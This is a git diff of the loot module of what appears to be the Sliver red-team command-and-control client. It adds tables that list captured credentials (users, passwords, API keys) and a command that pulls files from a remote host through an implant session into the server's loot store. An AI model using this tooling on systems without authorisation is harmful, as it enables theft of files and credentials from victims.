func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
if allLoot == nil || len(allLoot.Loot) == 0 {
fmt.Fprintf(stdout, console.Info+"No loot 🙁\n")
return
}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
fmt.Fprintln(table, "Type\tName\tUUID\t")
fmt.Fprintf(table, "%s\t%s\t%s\t\n",
strings.Repeat("=", len("Type")),
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("UUID")),
)
for _, loot := range allLoot.Loot {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.LootID)
}
table.Flush()
fmt.Fprintf(stdout, outputBuf.String())
}
// PrintAllFileLootTable - Displays a table of all file loot
func PrintAllFileLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
if allLoot == nil || len(allLoot.Loot) == 0 {
fmt.Fprintf(stdout, console.Info+"No loot 🙁\n")
return
}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
fmt.Fprintln(table, "Type\tName\tFile Name\tSize\tUUID\t")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Type")),
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("File Name")),
strings.Repeat("=", len("Size")),
strings.Repeat("=", len("UUID")),
)
for _, loot := range allLoot.Loot {
if loot.Type != clientpb.LootType_LOOT_FILE {
continue
}
size := 0
name := ""
if loot.File != nil {
name = loot.File.Name
size = len(loot.File.Data)
}
fmt.Fprintf(table, "%s\t%s\t%s\t%d\t%s\t\n",
fileTypeToStr(loot.FileType),
loot.Name,
name,
size,
loot.LootID,
)
}
table.Flush()
fmt.Fprintf(stdout, outputBuf.String())
}
// PrintAllCredentialLootTable - Displays a table of all credential loot
func PrintAllCredentialLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
if allLoot == nil || len(allLoot.Loot) == 0 {
fmt.Fprintf(stdout, console.Info+"No loot 🙁\n")
return
}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
fmt.Fprintln(table, "Type\tName\tUser\tPassword\tAPI Key\tFile Name\tUUID\t")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Type")),
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("User")),
strings.Repeat("=", len("Password")),
strings.Repeat("=", len("API Key")),
strings.Repeat("=", len("File Name")),
strings.Repeat("=", len("UUID")),
)
for _, loot := range allLoot.Loot {
if loot.Type != clientpb.LootType_LOOT_CREDENTIAL {
continue
}
fileName := ""
if loot.File != nil {
fileName = loot.File.Name
}
user := ""
password := ""
apiKey := ""
if loot.Credential != nil {
user = loot.Credential.User
password = loot.Credential.Password
apiKey = loot.Credential.APIKey
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
credentialTypeToString(loot.CredentialType),
loot.Name,
user,
password,
apiKey,
fileName,
loot.LootID,
)
}
table.Flush()
fmt.Fprintf(stdout, outputBuf.String())
}
func lootTypeToStr(value clientpb.LootType) string {
switch value {
case clientpb.LootType_LOOT_FILE:
return "File"
case clientpb.LootType_LOOT_CREDENTIAL:
return "Credential"
default:
return ""
}
}
func credentialTypeToString(value clientpb.CredentialType) string {
switch value {
case clientpb.CredentialType_API_KEY:
return "API Key"
case clientpb.CredentialType_USER_PASSWORD:
return "User/Password"
case clientpb.CredentialType_FILE:
return "File"
default:
return ""
}
}
func fileTypeToStr(value clientpb.FileType) string {
switch value {
case clientpb.FileType_BINARY:
@@ -157,6 +327,32 @@ func lootFileTypeFromHumanStr(value string) (clientpb.FileType, error) {
}
}
func lootTypeFromHumanStr(value string) (clientpb.LootType, error) {
switch strings.ToLower(value) {
case "c":
fallthrough
case "cred":
fallthrough
case "creds":
fallthrough
case "credentials":
fallthrough
case "credential":
return clientpb.LootType_LOOT_CREDENTIAL, nil
case "f":
fallthrough
case "files":
fallthrough
case "file":
return clientpb.LootType_LOOT_FILE, nil
default:
return -1, ErrInvalidLootType
}
}
// Taken from: https://cs.opensource.google/go/x/tools/+/refs/tags/v0.1.4:godoc/util/util.go;l=69
// textExt[x] is true if the extension x indicates a text file, and false otherwise.
@@ -205,7 +401,7 @@ func isText(sample []byte) bool {
// last char may be incomplete - ignore
break
}
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' {
// decoding error or control character - not a text file
return false
}
+67 -172
View File
@@ -19,14 +19,9 @@ package loot
*/
import (
"archive/tar"
"bytes"
"compress/gzip"
"context"
"fmt"
"io"
"path/filepath"
"strings"
"path"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -34,169 +29,8 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
func ValidateLootFileType(lootFileTypeInput string, data []byte) clientpb.FileType {
lootFileType, err := lootFileTypeFromHumanStr(lootFileTypeInput)
if lootFileType == -1 || err != nil {
if isText(data) {
lootFileType = clientpb.FileType_TEXT
} else {
lootFileType = clientpb.FileType_BINARY
}
}
return lootFileType
}
/*
Eventually this function needs to be refactored out, but we made the decision to
duplicate it for now
*/
func PerformDownload(remotePath string, fileName string, ctx *grumble.Context, con *console.SliverConsoleClient) (*sliverpb.Download, error) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, "loot"), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
ctrl <- true
<-ctrl
if err != nil {
return nil, err
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
}
})
con.PrintAsyncResponse(download.Response)
}
if download.Response != nil && download.Response.Err != "" {
return nil, fmt.Errorf("%s", download.Response.Err)
}
// Decode the downloaded data if required
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
return nil, fmt.Errorf("decoding failed %s", err)
}
}
return download, nil
}
func CreateLootMessage(fileName string, lootName string, lootFileType clientpb.FileType, data []byte) *clientpb.Loot {
if lootName == "" {
lootName = fileName
}
lootMessage := &clientpb.Loot{
Name: lootName,
FileType: lootFileType,
File: &commonpb.File{
Name: fileName,
Data: data,
},
}
return lootMessage
}
func SendLootMessage(loot *clientpb.Loot, con *console.SliverConsoleClient) {
control := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sending looted file (%s) to the server...", loot.Name), control)
loot, err := con.Rpc.LootAdd(context.Background(), loot)
control <- true
<-control
if err != nil {
con.PrintErrorf("%s\n", err)
}
if loot.Name != loot.File.Name {
con.PrintInfof("Successfully looted %s (%s) (ID: %s)\n", loot.File.Name, loot.Name, loot.ID)
} else {
con.PrintInfof("Successfully looted %s (ID: %s)\n", loot.Name, loot.ID)
}
}
func LootDownload(download *sliverpb.Download, lootName string, fileType clientpb.FileType, ctx *grumble.Context, con *console.SliverConsoleClient) {
// Was the download successful?
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
/*
Construct everything needed to send the loot to the server
If this is a directory, we will process each file individually
*/
// Let's handle the simple case of a file first
if !download.IsDir {
// filepath.Base does not deal with backslashes correctly in Windows paths, so we have to standardize the path to forward slashes
downloadPath := strings.ReplaceAll(download.Path, "\\", "/")
lootMessage := CreateLootMessage(filepath.Base(downloadPath), lootName, fileType, download.Data)
SendLootMessage(lootMessage, con)
} else {
// We have to decompress the gzip file first
decompressedDownload, err := gzip.NewReader(bytes.NewReader(download.Data))
if err != nil {
con.PrintErrorf("Could not decompress downloaded data: %s", err)
return
}
/*
Directories are stored as tar-ed gzip archives.
We have gotten rid of the gzip part, now we have to sort out the tar
*/
tarReader := tar.NewReader(decompressedDownload)
// Keep reading until we reach the end
for {
entryHeader, err := tarReader.Next()
if err == io.EOF {
// We have reached the end of the tar archive
break
}
if err != nil {
// Something is wrong with this archive. Stop reading.
break
}
if entryHeader == nil {
/*
If the entry is nil, skip it (not sure when this would happen,
but we do not want to attempt operations on something that is nil)
*/
continue
}
if entryHeader.Typeflag == tar.TypeDir {
// Keep going to dig into the directory
continue
}
// The implant should have only shipped us files (the implant resolves symlinks)
// Create a loot message for this file and ship it
/* Using io.ReadAll because it reads until EOF. We have already read the header, so the next EOF should
be the end of the file
*/
fileData, err := io.ReadAll(tarReader)
if err == nil {
lootMessage := CreateLootMessage(filepath.Base(entryHeader.Name), lootName, fileType, fileData)
SendLootMessage(lootMessage, con)
}
}
}
}
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
@@ -204,16 +38,77 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
remotePath := ctx.Args.String("path")
fileName := filepath.Base(remotePath)
name := ctx.Flags.String("name")
if name == "" {
name = path.Base(remotePath)
}
download, err := PerformDownload(remotePath, fileName, ctx, con)
var lootType clientpb.LootType
var err error
lootTypeStr := ctx.Flags.String("type")
if lootTypeStr != "" {
lootType, err = lootTypeFromHumanStr(lootTypeStr)
if err == ErrInvalidLootType {
con.PrintErrorf("Invalid loot type %s", lootTypeStr)
return
}
} else {
lootType = clientpb.LootType_LOOT_FILE
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
if err != nil {
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err) // Download failed
return
}
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
return
}
}
// Determine type based on download buffer
lootFileType, err := lootFileTypeFromHumanStr(ctx.Flags.String("file-type"))
if lootFileType == -1 || err != nil {
if isText(download.Data) {
lootFileType = clientpb.FileType_TEXT
} else {
lootFileType = clientpb.FileType_BINARY
}
}
loot := &clientpb.Loot{
Name: name,
Type: lootType,
FileType: lootFileType,
File: &commonpb.File{
Name: path.Base(remotePath),
Data: download.Data,
},
}
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
loot.CredentialType = clientpb.CredentialType_FILE
}
loot, err = con.Rpc.LootAdd(context.Background(), loot)
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Determine type based on download buffer
lootFileType := ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
LootDownload(download, name, lootFileType, ctx, con)
con.PrintInfof("Successfully added loot to server (%s)\n", loot.LootID)
}
+2 -2
View File
@@ -40,8 +40,8 @@ func LootRenameCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
survey.AskOne(prompt, &newName)
loot, err = con.Rpc.LootUpdate(context.Background(), &clientpb.Loot{
ID: loot.ID,
Name: newName,
LootID: loot.LootID,
Name: newName,
})
if err != nil {
con.PrintErrorf("%s\n", err)
@@ -1,11 +1,4 @@
Alias
Macros
===========
Wraps external DLLs/tool in Sliver console commands.
### Format
* `alias-dir/`
* * `manifest.json` -
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